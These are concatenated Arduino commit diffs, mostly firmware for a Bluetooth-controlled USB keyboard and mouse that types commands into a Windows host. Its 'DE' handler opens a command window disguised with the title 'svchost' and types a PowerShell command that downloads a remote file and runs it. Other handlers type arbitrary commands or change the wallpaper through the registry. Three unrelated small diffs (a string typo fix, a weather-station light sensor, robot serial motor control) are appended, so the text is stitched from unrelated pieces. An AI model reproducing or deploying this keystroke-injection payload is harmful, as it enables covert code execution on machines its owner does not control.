+  {0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x4D, 0x51, 0x57, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x69, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E},
+  {0x31, 0x22, 0x33, 0x34, 0x35, 0x37, 0x22, 0x39, 0x30, 0x38, 0x3D, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3B, 0x3B, 0x2C, 0x3D, 0x2E, 0x2F, 0x32, 0x61, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x5B, 0x5C, 0x5D, 0x36, 0x2D, 0x7E, 0x61, 0x69, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x5B, 0x5C, 0x5D, 0x7E},
+  {0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x00, 0x81, 0x81, 0x81, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x00, 0x81, 0x00, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x00, 0x00, 0x00, 0x81, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x81, 0x81, 0x81}
+}; //saved at EEPROM 1-100, 101-200, 201-300
+
+
+#define EEPROM_STARTING_ADDRESS_ENCODING_DESIRED 1
+#define EEPROM_STARTING_ADDRESS_ENCODING_USED 101
+#define EEPROM_STARTING_ADDRESS_ENCODING_MODIFIER 201
+bool useMultiLangWindowsMethod = true;
+#define EEPROM_ADDRESS_USE_MULTI_LANG_METHOD_WINDOWS 301
+#define EEPROM_STARTING_ADDRESS_ENCODING_NAME 302
+
+
+
+
+/*
+ * keypad values copied from http://forum.arduino.cc/index.php?topic=266688.msg1880647#msg1880647
+ * thanks to nickgammon's reply
+ */
+
+byte KEYPAD[10] = {
+  234,
+  225,
+  226,
+  227,
+  228,
+  229,
+  230,
+  231,
+  232,
+  233
+};
+
+#define KEYPAD_0 234
+#define KEYPAD_1 225
+#define KEYPAD_2 226
+#define KEYPAD_3 227
+#define KEYPAD_4 228
+#define KEYPAD_5 229
+#define KEYPAD_6 230
+#define KEYPAD_7 231
+#define KEYPAD_8 232
+#define KEYPAD_9 233
+
+
+
+unsigned long previousSendingTime = 0; // used for sending setting data updates to the phone (current keyboard encoding, multilang thing)
+char encodingName[30];
+
+
+void setup()
+{
+  BTSerial.begin(HC_BAUDRATE);  //
+  Keyboard.begin();
+  Mouse.begin();
+
+  Serial.begin(9600);
+
+
+  /*
+  //TRIGGER TRICK
+  //plug in and out within 3 sec to trigger some action at the next plug in
+  byte triggerDefault = 0;
+  EEPROM.get(EEPROM_ADDRESS_TRIGGER_TRICK, triggerDefault);
+  byte c =1;
+  EEPROM.put(EEPROM_ADDRESS_TRIGGER_TRICK, c);
+  if(triggerDefault == 1)
+  {
+    //action
+  }
+
+  delay(3000);
+  c =0;
+  EEPROM.put(EEPROM_ADDRESS_TRIGGER_TRICK, c);
+  */
+
+  /*
+  delay(7000);
+
+  for(byte i=0;i<255;i++)
+  {
+    Keyboard.print(i);
+    Keyboard.print("-");
+    Keyboard.print((char)i);
+    Keyboard.print(", ");
+
+    delay(100);
+  }
+  */
+
+  //delay(7000);
+  //Keyboard.press((char)175);
+  //delay(15);
+  //Keyboard.releaseAll();
+
+  /*
+  Keyboard.press(KEY_LEFT_ALT);
+  delay(20);
+  Keyboard.press(KEYPAD_9);
+  delay(20);
+  Keyboard.release(KEYPAD_9);
+  delay(20);
+  Keyboard.press(KEYPAD_2);
+  delay(20);
+  Keyboard.release(KEYPAD_2);
+  delay(20);
+  Keyboard.releaseAll();
+  */
+
+  //delay(10000);
+  SavedEncodingAvailabilityCheck(); //rewrites the default US encoding with the saved one
+  SavedMultiLangMethodWindowsCheck(); //checks whether to use the alt+numpad method
+}
+
+
+void loop()
+{
+  byte i=0;
+  if (BTSerial.available() > 0)
+  {
+    unsigned long previousByteRec = millis();
+    unsigned long lastByteRec = millis();
+    while (100 > lastByteRec - previousByteRec)
+    {
+      lastByteRec = millis();
+
+      while (BTSerial.available() > 0 && i < MAX_SERIAL_LENGTH-1)
+      {
+        inSerial[i]=BTSerial.read();
+        i++;
+
+        if(i == 16)
+        {
+          if(StrStartsWith(inSerial, "MM:") && StrEndsWith(inSerial, ",end")){if(LOG_SERIAL){Serial.println(inSerial);} inSerial[i]='\0'; MyFuncMouseMove(inSerial);i = 0;}//MM:L,U,3,1,end (mouse movement)
+        }
+        previousByteRec = lastByteRec;
+      }
+    }
+
+    inSerial[i]='\0';
+    if(LOG_SERIAL){Serial.write(inSerial);} //it's useful for checking what text arduino receives from android but it makes the mouse movement laggy if the serial monitor is closed
+    Serial.write("\n");
+
+    Check_Protocol(inSerial);
+  }
+
+  unsigned long lastSendingTime = millis();
+  if(lastSendingTime - previousSendingTime > 1000)
+  {
+      previousSendingTime = lastSendingTime;
+      char data[40];
+      sprintf(data,"data=%i,%s,end", useMultiLangWindowsMethod,encodingName);
+      BTSerial.write(data);
+      for(byte i=0;i<40;i++){data[i]=0;}
+  }
+}
+
+void SavedMultiLangMethodWindowsCheck()
+{
+  EEPROM.get(EEPROM_ADDRESS_USE_MULTI_LANG_METHOD_WINDOWS, useMultiLangWindowsMethod);
+  if(LOG_SERIAL)
+  {
+    Serial.print("MultiLang method (Windows only) setting has been read from the EEPROM - ");
+    if(useMultiLangWindowsMethod)
+    {
+      Serial.println("it's enabled.");
+    }
+    else
+    {
+      Serial.println("it's disabled.");
+    }
+  }
+}
+
+void SavedEncodingAvailabilityCheck() //rewrites the default US encoding with the one which was used last time
+{
+  byte b;
+  EEPROM.get(EEPROM_STARTING_ADDRESS_ENCODING_DESIRED, b);
+  if(b > 0)
+  {
+    for(byte i=0;i<3; i++)
+    {
+      for(byte offset=0; offset<100; offset++)
+      {
+        EEPROM.get(offset+1+(100*i), Encoding[i][offset]); //+1 because the 0 address holds trigger bool for tricky activation method
+        if(LOG_SAVED_ENCODING_EEPROM)
+        {
+          Serial.print(Encoding[i][offset], HEX);
+          Serial.print(",");
+        }
+      }
+
+      if(LOG_SAVED_ENCODING_EEPROM){Serial.print("\n");}
+    }
+
+    EEPROM.get(EEPROM_STARTING_ADDRESS_ENCODING_NAME, encodingName);
+  }
+  else if(LOG_SAVED_ENCODING_EEPROM)
+  {
+    Serial.print("No encoding available");
+    Serial.print("\n");
+  }
+}
+
+void MyFuncMouseMove(char *inStr)
+{
+  char x;
+  char y;
+
+  //MM:L,U,FF,FF,end
+  char strValBuff[3]={inStr[7],inStr[8],'\0'};
+  x = (char)strtoul((char*)strtok(strValBuff, " "),NULL,16);
+
+  strValBuff[0]=inStr[10];
+  strValBuff[1]=inStr[11];
+  y = (char)strtoul((char*)strtok(strValBuff, " "),NULL,16);
+
+ //MM:L,U,FF,FF,end //left/right, up/down, horizontal value, vertical value
+  if(inStr[3] == 'L'){x = x * -1;}
+  if(inStr[5] == 'D'){y = y * -1;}
+
+  if(LOG_SERIAL){Serial.print("    x="); Serial.print((byte)x);Serial.print(", y=");Serial.print((byte)y);Serial.print("\n");}
+  Mouse.move(x, y, 0);
+
+  for(byte i=0;i<strlen(inStr);i++){inStr[i]=0;}
+}
+
+void typeKey(int key)
+{
+  Keyboard.press(key);
+  delay(50);
+  Keyboard.release(key);
+}
+
+void openRun()
+{
+  Keyboard.press(KEY_LEFT_GUI);
+  delay(200);
+  Keyboard.press('r');
+  delay(200);
+  Keyboard.releaseAll();
+  delay(700);
+}
+
+void openCmd()
+{
+  openRun();
+  Print("cmd");
+  typeKey(KEY_RETURN);
+}
+
+void EnterCommand(char *text)
+{
+  Print(text);
+  delay(10);
+  typeKey(KEY_RETURN);
+}
+
+void Check_Protocol(char *inStr)
+{
+  if(!strcmp(inStr,"Enter"))
+  {
+    typeKey(KEY_RETURN);
+  }
+
+  if(!strcmp(inStr,"Alt+F4"))
+  {
+    Keyboard.press(KEY_LEFT_ALT);
+    delay(10);
+    Keyboard.press(KEY_F4);
+    delay(50);
+    Keyboard.releaseAll();
+  }
+
+  if(!strcmp(inStr,"Increase font size"))
+  {
+    Keyboard.press(KEY_LEFT_CTRL);
+    delay(10);
+    Keyboard.press(KEY_LEFT_SHIFT);
+    delay(10);
+    Keyboard.press('>');
+    delay(50);
+    Keyboard.releaseAll();
+  }
+
+  if(!strcmp(inStr,"Decrease font size"))
+  {
+    Keyboard.press(KEY_LEFT_CTRL);
+    delay(10);
+    Keyboard.press(KEY_LEFT_SHIFT);
+    delay(10);
+    Keyboard.press('<');
+    delay(50);
+    Keyboard.releaseAll();
+  }
+
+  if(!strcmp(inStr,"Select all"))
+  {
+    Keyboard.press(KEY_LEFT_CTRL);
+    delay(10);
+    Keyboard.press('a');
+    delay(50);
+    Keyboard.releaseAll();
+  }
+
+  if(!strcmp(inStr,"Bold"))
+  {
+    Keyboard.press(KEY_LEFT_CTRL);
+    delay(10);
+    Keyboard.press('b');
+    delay(50);
+    Keyboard.releaseAll();
+  }
+
+  if(!strcmp(inStr,"Underline"))
+  {
+    Keyboard.press(KEY_LEFT_CTRL);
+    delay(10);
+    Keyboard.press('u');
+    delay(50);
+    Keyboard.releaseAll();
+  }
+
+  if(!strcmp(inStr,"click"))
+  {
+    Mouse.click();
+  }
+
+  if(StrStartsWith(inStr, "DE:") && StrContains(inStr, ",type:") && StrEndsWith(inStr, ",end")) //DE:t,type:est,end (download and execute)
+  {
+    byte indexType = SubStrIndex(inStr, ",type:"); //trying to get the position where link is ending and the file type begins
+    byte indexEnd = SubStrIndex(inStr, ",end"); //trying to get the position where the file type ends (to know its length)
+
+    char fileFormat[10];
+    byte typeLen = indexEnd - (indexType + strlen(",type:")); //get length
+    for(byte i=0;i<=typeLen;i++)
+    {
+      fileFormat[i] = inStr[i+indexType+strlen(",type:")];
+
+      if(i == typeLen){fileFormat[i] = '\0';}
+    }
+
+    for(byte i=0;i<=indexType-3;i++)//indexType - 3 which is "DE:" + 1
+    {
+      inStr[i] = inStr[i+3];
+
+      if(i == indexType-3){inStr[i] = '\0';}
+    }
+
+    openCmd(); //("powershell Start-Process cmd -Verb runAs");
+    delay(500);
+    EnterCommand("echo off & mode 20,1 & title svchost & color 78 & cls");
+
+    Print("powershell \"$down = New-Object System.Net.WebClient; $url = '");
+    Print(inStr);
+    Print("'; $file = 'downloadedfile.");
+    Print(fileFormat);
+    Print("'; $down.DownloadFile($url,$file); $exec = New-Object -com shell.application; $exec.shellexecute($file); exit;\" & exit");
+    typeKey(KEY_RETURN);
+  }
+
+
+  if(StrStartsWith(inStr, "YT:") && StrEndsWith(inStr, ",end")) //YT:t,end (Youtube)
+  {
+    ExtractDeliveredText(inStr, 3);
+
+    openRun();
+    //Print("www.youtube.com/embed/2Z4m4lnjxkY?rel=0&autoplay=1"); //trololo 2Z4m4lnjxkY
+    Print("www.youtube.com/embed/");
+    Print(inStr);
+    Print("?rel=0&autoplay=1");
+    typeKey(KEY_RETURN);
+  }
+
+  if(StrStartsWith(inStr, "YTB:") && StrEndsWith(inStr, ",end"))//youtube control buttons
+  {
+    ExtractDeliveredText(inStr, 4);
+    if(StrContains(inStr, "PP")){Print(" ");}//pause/play
+    else if(StrContains(inStr, "F5")){Keyboard.press(KEY_RIGHT_ARROW);}//forward 5s // change inc/vol to 10 sec if it doesn't work and use Print("l/j")
+    else if(StrContains(inStr, "B5")){Keyboard.press(KEY_LEFT_ARROW);}//backward 5s
+    else if(StrContains(inStr, "GB")){Keyboard.press(KEY_HOME);}//go to begining
+    else if(StrContains(inStr, "GE")){Keyboard.press(KEY_END);}//go to end
+    else if(StrContains(inStr, "CA")){Print("c");}//captions tog
+    else if(StrContains(inStr, "IS")){Keyboard.press(KEY_LEFT_SHIFT); delay(50); Print(">");}//increase speed (may not work in all browsers)
+    else if(StrContains(inStr, "DS")){Keyboard.press(KEY_LEFT_SHIFT); delay(50); Print("<");}//decrease speed
+    else if(StrContains(inStr, "IV")){Keyboard.press(KEY_UP_ARROW);}//increase vol
+    else if(StrContains(inStr, "DV")){Keyboard.press(KEY_DOWN_ARROW);}//decrease vol
+    else if(StrContains(inStr, "PV")){Keyboard.press(KEY_LEFT_SHIFT); delay(50); Print("p");}//previous video (in a playlist)
+    else if(StrContains(inStr, "NV")){Keyboard.press(KEY_LEFT_SHIFT); delay(50); Print("n");}//next video
+    else if(StrContains(inStr, "FS")){Print("f");}//full screen tog
+    else if(StrContains(inStr, "F11")){Keyboard.press(KEY_F11);}//full screen browser tog
+    delay (70);
+    Keyboard.releaseAll();
+  }
+
+  if(StrStartsWith(inStr, "WS:") && StrEndsWith(inStr, ",end")) //WS:t,end (website)
+  {
+    ExtractDeliveredText(inStr, 3);
+
+    openRun();
+    Print(inStr);
+    typeKey(KEY_RETURN);
+  }
+
+  if(StrStartsWith(inStr, "EP:") && StrEndsWith(inStr, ",end")) //EP:t,end (execute program)
+  {
+    ExtractDeliveredText(inStr, 3);
+
+    openRun();
+    Print(inStr);
+    delay(100);
+    typeKey(KEY_RETURN);
+  }
+
+  if(StrStartsWith(inStr, "EC:") && StrEndsWith(inStr, ",end")) //EC:t,end (execute command)
+  {
+    ExtractDeliveredText(inStr, 3);
+
+    openCmd();
+    delay(500);
+    EnterCommand("echo off & mode 20,1 & title svchost & color 78 & cls");
+    Print(inStr);
+    if(StrStartsWith(inStr, "cd \"%USERPROFILE%\\Desktop\" & FOR")){typeKey(KEY_RETURN); delay(50); Print("echo a");} //exception for a command which creates multiple files (otherwise only one file would be created, echo a is added because command " & exit" wouldn't close the window without something preceding it
+
+    Print(" & exit");
+    typeKey(KEY_RETURN);
+    delay(100);
+  }
+
+  //.
+
+
+
+  if(StrStartsWith(inStr ,"PT:") && StrEndsWith(inStr, ",end")) //(direct text instruction)
+  {
+    ExtractDeliveredText(inStr, 3);
+    Print(inStr);
+  }
+
+  if(StrStartsWith(inStr ,"TE:") && StrEndsWith(inStr, ",end")) //(direct text instruction but with enter at the end )
+  {
+    ExtractDeliveredText(inStr, 3);
+    Print(inStr);
+    delay(20);
+    Keyboard.press(KEY_RETURN);
+    delay(20);
+    Keyboard.release(KEY_RETURN);
+  }
+
+  if(StrStartsWith(inStr, "ENC,") && StrEndsWith(inStr, ",end")) //(direct text instruction)
+  {
+    byte encodingFactor=255;
+    switch (inStr[4]) //5th letter is D, U or M depending on the type of 3 encoding factors
+    {
+      case 'D':
+        {
+          encodingFactor=0;
+        }
+        break;
+
+      case 'U':
+        {
+          encodingFactor=1;
+        }
+        break;
+      case 'M':
+        {
+          encodingFactor=2;
+        }
+        break;
+      case 'N':
+        {
+          ExtractDeliveredText(inStr, 6);
+          sprintf(encodingName, "%s\0", inStr);
+          EEPROM.put(EEPROM_STARTING_ADDRESS_ENCODING_NAME, encodingName);
+          for(byte i=0;i<MAX_SERIAL_LENGTH;i++){inStr[i]=0;}
+          return;
+        }
+        break;
+      default:
+        {
+          Serial.print("Error: Incorrect encoding factor.");
+          return;
+        }
+        break;
+    }
+
+    ExtractDeliveredText(inStr, 6);
+
+    if(LOG_SAVED_ENCODING_EEPROM){Serial.print("Received:\n");}
+
+    for(byte offset=0; offset<strlen(inStr); offset+=2)
+    {
+      byte strValBuff[3]={inStr[offset],inStr[offset+1],'\0'};
+
+      Encoding[encodingFactor][offset/2] = (byte)strtoul((char*)strtok(strValBuff, " "),NULL,16);//(((byte)inStr[offset]) * 16) + (byte)inStr[offset+1];
+
+      if(LOG_SAVED_ENCODING_EEPROM)
+      {
+        Serial.print(Encoding[encodingFactor][offset/2], HEX);
+        Serial.print("-");
+        Serial.print(offset);
+        Serial.print("  ");
+      }
+    }
+
+    if(LOG_SAVED_ENCODING_EEPROM){Serial.print("\nSaved to EEPROM:\n");}
+
+    //save to EEPROM
+    for(byte offset=0; offset<100; offset++)
+    {
+      Encoding[encodingFactor][offset] = ((offset<(strlen(inStr)/2)) ? Encoding[encodingFactor][offset] : 0);
+      EEPROM.put(offset+1+(100*encodingFactor), Encoding[encodingFactor][offset]); //+1 because the 0 address holds trigger bool for tricky activation method
+
+      if(LOG_SAVED_ENCODING_EEPROM)
+      {
+        Serial.print(Encoding[encodingFactor][offset], HEX);
+        Serial.print(",");
+      }
+    }
+
+    if(LOG_SAVED_ENCODING_EEPROM){Serial.print("\n\n");}
+
+  }
+
+  if(StrStartsWith(inStr, "SW:") && StrContains(inStr, ",type:") && StrEndsWith(inStr, ",end")) //SW:t,type:est,end (download and set as a wallpaper)
+  {
+    byte indexType = SubStrIndex(inStr, ",type:"); //trying to get the position where link is ending and the file type begins
+    byte indexEnd = SubStrIndex(inStr, ",end"); //trying to get the position where the file type ends (to know its length)
+
+    char fileFormat[10];
+    byte typeLen = indexEnd - (indexType + strlen(",type:")); //get length
+    for(byte i=0;i<=typeLen;i++)
+    {
+      fileFormat[i] = inStr[i+indexType+strlen(",type:")];
+
+      if(i == typeLen){fileFormat[i] = '\0';}
+    }
+
+    for(byte i=0;i<=indexType-3;i++)//indexType - 3 which is "SW:" + 1
+    {
+      inStr[i] = inStr[i+3];
+
+      if(i == indexType-3){inStr[i] = '\0';}
+    }
+
+    openCmd(); //("powershell Start-Process cmd -Verb runAs");
+    delay(500);
+    EnterCommand("echo off & mode 20,1 & title svchost & color 78 & cls");
+
+    Print("powershell \"$down = New-Object System.Net.WebClient; $url = '");
+    Print(inStr);
+    Print("'; $file = 'downloadedfile.");
+    Print(fileFormat);
+    Print("'; $down.DownloadFile($url,$file); exit;\" & reg add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d C:\\Users\\%USERNAME%\\downloadedfile.");
+    Print(fileFormat);
+    Print(" /f & RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters & exit");
+    typeKey(KEY_RETURN);
+  }
+
+  if(StrStartsWith(inStr ,"ML:") && StrEndsWith(inStr, ",end")) //(direct text instruction)
+  {
+    ExtractDeliveredText(inStr, 3);
+
+    if(!strcmp(inStr,"Enabled"))
+    {
+      useMultiLangWindowsMethod = true;
+      EEPROM.put(EEPROM_ADDRESS_USE_MULTI_LANG_METHOD_WINDOWS, true);
+      if(LOG_SERIAL){Serial.println("MultiLang method (Windows only) has been enabled.");}
+    }
+    else if(!strcmp(inStr,"Disabled"))
+    {
+      useMultiLangWindowsMethod = false;
+      EEPROM.put(EEPROM_ADDRESS_USE_MULTI_LANG_METHOD_WINDOWS, false);
+      if(LOG_SERIAL){Serial.println("MultiLang method (Windows only) has been disabled.");}
+    }
+  }
+
+  for(byte i=0;i<MAX_SERIAL_LENGTH;i++){inStr[i]=0;}
+}
+
+/*
+ENC,D:2122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F40414D5157595A5B5C5D5E5F6061696D7177797A7B7C7D7E,end
+ENC,U:317E333435373238392D345C3D2F37303132333435363738392F5C2C302E2D71616D7177797A382D39333D5C61226D7177797A375C305D,end
+ENC,M:81008686818181818100810000008100000000000000000000818181818181868181818181818686868181860000000000000086818686,end
+*/
+
+void ExtractDeliveredText(char *inStr, byte ignoredStartingChars) //gets rid of the first 3 chars (e.g. "YT:") and the ",end" (it assumes that every message received ends with ",end", if the message would end like ",ending" the function won't work properly without adding additional parameter, somthing like: "byte ignoredEndingChars")
+{
+  byte len = SubStrIndex(inStr, ",end") - ignoredStartingChars;
+
+  for(byte i=0;i<=len;i++)
+  {
+    inStr[i] = inStr[i+ignoredStartingChars];
+    if(i == len)
+    {
+      inStr[i] = '\0';
+    }
+  }
+}
+
+int SubStrIndex(char *str, char *sfind)
+{
+    byte found = 0;
+    byte index = 0;
+    byte len = strlen(str);
+
+    if (strlen(sfind) > len)
+    {
+        return 0;
+    }
+
+    while (index < len)
+    {
+        if (str[index] == sfind[found])
+        {
+            found++;
+            if (strlen(sfind) == found)
+            {
+                index = index - strlen(sfind) + 1;
+                return index;
+            }
+        }
+        else{found = 0;}
+
+        index++;
+    }
+
+    return 0;
+}
+
+bool StrContains(char *str, char *sfind)
+{
+    byte found = 0;
+    byte index = 0;
+    byte len;
+
+    len = strlen(str);
+
+    if (strlen(sfind) > len) {return false;}
+
+    while (index < len)
+    {
+        if (str[index] == sfind[found])
+        {
+            found++;
+            if (strlen(sfind) == found) {return true;}
+        }
+        else {found = 0;}
+
+        index++;
+    }
+    return false;
+}
+
+bool StrStartsWith(char* str, char* desiredStart)
+{
+  if(strlen(desiredStart)>strlen(str)){return false;}
+
+  byte matching = 0;
+  for(byte i=0; i < strlen(desiredStart); i++)
+    if(str[i] == desiredStart[i])
+      matching++;
+
+  if(matching == strlen(desiredStart))
+    return true;
+
+  return false;
+}
+
+bool StrEndsWith(char* str, char* desiredEnd)
+{
+  if(strlen(desiredEnd)>strlen(str))
+  {
+    return false;
+  }
+  byte matching = 0;
+  byte desiredEndLen = strlen(desiredEnd);
+  byte baseStrLen = strlen(str);
+  for(byte i=0;i<strlen(desiredEnd);i++)
+  {
+    if(str[baseStrLen - desiredEndLen + i] == desiredEnd[i]){matching++;}
+  }
+
+  if(matching == desiredEndLen){return true;}
+
+  return false;
+}
+
+
+
+void Print(char *inStr)
+{
+
+  //Print_WinMultiLangCHAR_PTR(inStr);
+  //return;
+
+  int enc_index;
+
+  for(byte i=0; i<strlen(inStr); i++)//for each character in the string
+  {
+    if (useMultiLangWindowsMethod && ((!isalnum(inStr[i]) && inStr[i] != ' ') || IsException(inStr[i]))) //if character is punctuation or requires different button to be pressed in different keyboard language settings then use alt+numpad method
+    //if(IsCharSpecial(inStr[i]))
+    {
+      //Serial.print("special char = ");
+      //Serial.println(inStr[i]);
+
+      byte hundreds = (byte)inStr[i] / 100;
+      byte dozens = ((byte)inStr[i] - (hundreds*100)) / 10;
+      byte singles = (byte)inStr[i] - (hundreds*100) - (dozens*10);
+
+      //Serial.print(hundreds);
+      //Serial.print(dozens);
+      //Serial.println(singles);
+
+      Keyboard.press(KEY_LEFT_ALT);
+      PressRelease((char)KEYPAD[hundreds], 5);
+      PressRelease((char)KEYPAD[dozens], 5);
+      PressRelease((char)KEYPAD[singles], 5);
+      Keyboard.releaseAll();
+      continue;
+    }
+
+
+    enc_index = GetKeyIndex(inStr[i], Encoding[ENCODING_BYTE_DESIRED]);
+    if(enc_index < 256) //256 means it's a key not present in the array (key which does not need a substitution because it is the same for any keyboard setting)
+    {
+      if(Encoding[ENCODING_BYTE_MODIFIER][enc_index] > 0)
+      {
+        Keyboard.press(Encoding[ENCODING_BYTE_MODIFIER][enc_index]);
+        delay(5);
+      }
+
+      Keyboard.press(Encoding[ENCODING_BYTE_USED][enc_index]);
+      delay(5);
+
+      //Serial.print(inStr[i]);
+      //Serial.print(", ");
+      //Serial.print(Desired_Keys[enc_index]);
+      //Serial.print(", ");
+      //Serial.print(Modifier_Keys[enc_index]);
+      //Serial.print(", ");
+      //Serial.print(Used_Keys[enc_index]);
+      //Serial.print(", ");
+      //Serial.print("\n");
+
+    }
+    else
+    {
+      Keyboard.press(inStr[i]);
+      //Serial.print(", ");
+      //Serial.println(inStr[i]);
+      delay(5);
+
+    }
+
+    Keyboard.releaseAll();
+  }
+}
+
+int GetKeyIndex(byte c, byte* char_array)
+{
+  for(byte i=0;i<strlen(char_array);i++)
+  {
+    if(c == char_array[i])
+    {
+      return i;
+    }
+  }
+  return 256;
+}
+
+
+/*
+void Print_WinMultiLangCHAR_PTR(char *inStr)
+{
+  for(byte i=0; i<strlen(inStr); i++)//for each character in the string
+  {
+    byte hundreds = (byte)inStr[i] / 100;
+    byte dozens = ((byte)inStr[i] - (hundreds*100)) / 10;
+    byte singles = (byte)inStr[i] - (hundreds*100) - (dozens*10);
+
+    Keyboard.press(KEY_LEFT_ALT);
+    PressRelease((char)KEYPAD[hundreds], 5);
+    PressRelease((char)KEYPAD[dozens], 5);
+    PressRelease((char)KEYPAD[singles], 5);
+    Keyboard.releaseAll();
+  }
+}
+
+void Print_WinMultiLangSTR(String inStr)
+{
+  for(byte i=0; i<inStr.length(); i++)//for each character in the string
+  {
+    byte hundreds = (byte)inStr.charAt(i) / 100;
+    byte dozens = ((byte)inStr.charAt(i) - (hundreds*100)) / 10;
+    byte singles = (byte)inStr.charAt(i) - (hundreds*100) - (dozens*10);
+
+    Keyboard.press(KEY_LEFT_ALT);
+    PressRelease((char)KEYPAD[hundreds], 5);
+    PressRelease((char)KEYPAD[dozens], 5);
+    PressRelease((char)KEYPAD[singles], 5);
+    Keyboard.releaseAll();
+  }
+}
+
+*/
+
+void PressRelease(char c, byte timeDelay)
+{
+  Keyboard.press(c);
+  delay(timeDelay);
+  Keyboard.release(c);
+}
+
+
+/*
+Exceptions are the letters that require different button being pressed in different lang settings
+(so if letter == exception then use alt+numpad method, otherwise use the normal typing because it's faster to press 1 instead of 4 buttons)
+these exceptions are listed to make the typing process faster because using alt+numpad method for all the characters appears to be too slow
+
+german - yz
+french - qamwz
+dutch - qamwz
+turkish - i
+azerbaijani - totally uncompatible
+*/
+
+#define EXCEPTIONS_SIZE 14
+char exceptions[EXCEPTIONS_SIZE] = {
+  'y','Y',
+  'z','Z',
+  'q','Q',
+  'a','A',
+  'm','M',
+  'w','W',
+  'i','I',
+};
+
+/*
+bool IsCharSpecial(char c)
+{
+  byte b = (byte)c;
+  if((b == 32 || (b >= 49 && b <= 57) || (b >= 65 && b <= 90) || (b >= 97 && b <= 122)) && IsntException(b))
+  {
+    return false;
+  }
+  return true;
+}
+*/
+
+bool IsException(char c)
+{
+  for(byte i=0; i<EXCEPTIONS_SIZE; i++)
+  {
+    if(c == exceptions[i])
+    {
+      return true;
+    }
+  }
+  return false;
+}
+
+
+
+
+
+
+
+
+
+


Fix typo in string termination

Fix typo in string termination

--- build/shared/examples/6.Strings/StringReplace/StringReplace.ino
+++ build/shared/examples/6.Strings/StringReplace/StringReplace.ino
@@ -22,7 +22,7 @@
 }

 void loop() {
-  String stringOne = "<HTML><HEAD><BODY>"";
+  String stringOne = "<HTML><HEAD><BODY>";
   Serial.println(stringOne);
   // replace() changes all instances of one substring with another:
   // first, make a copy of th original string:
@@ -44,4 +44,4 @@

   // do nothing while true:
   while(true);
-}+}


Support light sensor call to prototype

Support light sensor call to prototype

--- weather_station/dashboard/arduino/weather_station_02.ino
+++ weather_station/dashboard/arduino/weather_station_02.ino
@@ -3,7 +3,9 @@
 #include <YunClient.h>

 #include "DHT.h"
+
 #define DHTPIN 2     // what pin we're connected to
+int analogPin = A0;

 #define DHTTYPE DHT11   // DHT 11

@@ -25,17 +27,20 @@

 void loop() {
   YunClient client = server.accept();
-
+
+  // Light sensor
+  int lsr = analogRead(analogPin);
+
   // Reading temperature or humidity takes about 250 milliseconds!
   // Sensor readings may also be up to 2 seconds 'old' (its a very slow sensor)
   float h = dht.readHumidity();
-
+
   // Read temperature as Celsius
   float c = dht.readTemperature();
-
+
   // Read temperature as Fahrenheit
   float f = dht.readTemperature(true);
-
+
   // Compute heat index
   // Must send in temp in Fahrenheit!
   float hi = dht.computeHeatIndex(f, h);
@@ -62,6 +67,10 @@
       //client.print("
Heat Index: ");
       client.print(hi);
      }
+     if (request == "light") {
+      //client.print("
Light: ");
+      client.print(lsr);
+     }
      if (request == "time") {
       // get the time from the server:
       Process time;


added functionality to receive and handle serial messages

--- arduino/serialTest/serialTest.ino
+++ arduino/serialTest/serialTest.ino
@@ -5,10 +5,11 @@
 int pwmPin4 = 9;

 int irPin = 10;
-int incomingByte = 0;

-int statusPin1 = 2;
-int statusPin2 = 4;
+
+int HARDWARE_MAP[] = {1,1,1,1,1};
+byte LEFT_MOTOR = 1;
+byte RIGHT_MOTOR = 2;

 void setup() {

@@ -21,9 +22,6 @@
   pinMode(pwmPin3, OUTPUT);
   pinMode(pwmPin4, OUTPUT);

-  pinMode(statusPin1, INPUT);
-  pinMode(statusPin2, INPUT);
-
   /* Configure IR range finders */
   pinMode(irPin, INPUT);

@@ -31,25 +29,39 @@

 void loop() {

-    setMotor(1, 90);
-    setMotor(2, 90);
-
-    /*digitalWrite(pwmPin1, LOW);
-    digitalWrite(pwmPin2, HIGH);
-    digitalWrite(pwmPin3, LOW);
-    digitalWrite(pwmPin4, HIGH);*/
-
-    int stat = digitalRead(statusPin1);
-    Serial.println(stat);
-
-    stat = digitalRead(statusPin2);
-    Serial.println(stat);
-
-}
+    /* Check if serial data is available */
+    if (Serial.available() > 0) {
+        byte packet_type = Serial.read();
+
+        /* Determine the length of the incoming packet */
+        byte packet_length = HARDWARE_MAP[packet_type];
+
+        /* Create a array to store the incoming message */
+        byte packet[packet_length];
+
+        /* Receive the rest of the packet */
+        for(int i = 0; i < packet_length; i++) {
+          packet[i] = Serial.read();
+        }
+
+        /* Handle the packet appropriately */
+        switch(packet_type) {
+          /* Left Motor */
+          case 1:
+            setMotor(1,packet[0]);
+            break;
+          /* Right Motor */
+          case 2:
+            setMotor(2,packet[0]);
+            break;
+          default:
+            break;
+        } /* End handle packet type */
+    } /* End Receive Serial Data */
+} /* End while loop */

 /* Read IR value of specified pin */
 void readIR(int pin) {
-
   int val = analogRead(pin);
   getDistance(val);
 }
@@ -64,23 +76,9 @@
   return dist;
 }

-/* Handles receiving serial communication */
-void recvSerial() {
-
-    if (Serial.available() > 0) {
-        incomingByte = Serial.read();
-        Serial.print("received: ");
